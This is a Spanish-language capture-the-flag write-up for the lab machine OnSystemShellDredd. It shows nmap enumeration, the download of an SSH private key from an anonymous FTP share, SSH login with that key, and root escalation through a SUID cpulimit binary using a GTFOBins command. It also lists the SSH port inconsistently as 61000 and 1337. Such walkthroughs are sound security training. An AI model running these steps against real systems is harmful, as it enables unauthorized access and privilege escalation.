> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/onsystemshelldredd.md).

# OnSystemShellDredd

<figure><img src="/files/IbWbr1UDK25YTPJAp8QJ" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP&#x20;

Comenzamos realizando una enumeración rápida de los servicios disponibles.&#x20;

```
 nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.93.130
```

<figure><img src="/files/nslWmHncn5D1R4ZOFRxY" alt=""><figcaption></figcaption></figure>

Dos servicios abiertos, puerto 21 y 61000. Seguimos con un escaneo profundo de estos puertos .

```
nmap -p21,61000 -sVC -Pn -n -vvv 192.168.93.130 
```

<figure><img src="/files/4lFTl3tf7biQpPXUl4B6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GlIggvHZgIQSxrnURtYM" alt=""><figcaption></figcaption></figure>

Dos puertos abiertos:

* Puerto 21 ->  FTP -> vsftpd 3.0.3
* Puerto 1337 -> SSH -> OpenSSH 7.9

Además podemos iniciar sesión de manera anónima en el servicio FTP.

### Puerto 21 (FTP)

Podemos iniciar sesión de forma anónima. Cuando iniciemos sesión, enumeraremos los archivos ocultos con el comando ls -la.&#x20;

<figure><img src="/files/rx1XeRYhioEMmmW8IBNA" alt=""><figcaption></figcaption></figure>

Hay un directorio ".hannah". Dentro podemos encontrar un "id\_rsa". Descargamos este archivo en nuestra máquina de ataque.&#x20;

<figure><img src="/files/8QRMGzNQzqYpwkT5x19N" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GAhrINOoS237Pj5tIzHw" alt=""><figcaption></figcaption></figure>

Es una clave id\_rsa para inicio de sesión en SSH. Recordamos que había un servicio SSH activo en el puerto 61000.

### Explotación

Vamos a cambiar los permisos de este archivo para poder utilziarlo.&#x20;

```
 chmod 600 id_rsa
```

E intentamos iniciar sesión en SSH con la clave id\_rsa y el nombre de usuario del directorio donde hemos encontrado la clave.&#x20;

```
ssh -p 61000 -i id_rsa hannah@192.168.93.130 
```

<figure><img src="/files/wkpMQaRHUacDkZLdLg5P" alt=""><figcaption></figcaption></figure>

Ya tenemos conexión con la máquina objetivo. Ahora a por la flag local.txt

<figure><img src="/files/S829t5O6DuoqfnrOD6sV" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Vamos a comenzar realizando diversas enumeraciones que nos pueden aportar información de como elevar privilegios.&#x20;

Comenzamos enumerando binarios SUID.

```
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="/files/nAjOu5MyF9veVoEo6IZQ" alt=""><figcaption></figcaption></figure>

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/cpulimit/#suid) para buscar información acerca de como elevar privilegios aprovechando el binario "cpulimit".&#x20;

<figure><img src="/files/pufCNi1UCWGhsS4Sdt4f" alt=""><figcaption></figcaption></figure>

Ejecutamos.

```
/usr/bin/cpulimit -l 100 -f -- /bin/sh -p
```

<figure><img src="/files/545C7YTGMUShD2TOx61h" alt=""><figcaption></figcaption></figure>

Y ya tendremos acceso a la máquina con privilegios máximos. Ahora a buscar la flag proof.txt.&#x20;

<figure><img src="/files/h4UhnhoDe4AnkVrJDoSD" alt=""><figcaption></figcaption></figure>

Y ya tendríamos acabada la máquina OnSystemShelldredd.&#x20;

{% embed url="<https://www.youtube.com/watch?v=X0gR4g0EuIE>" %}
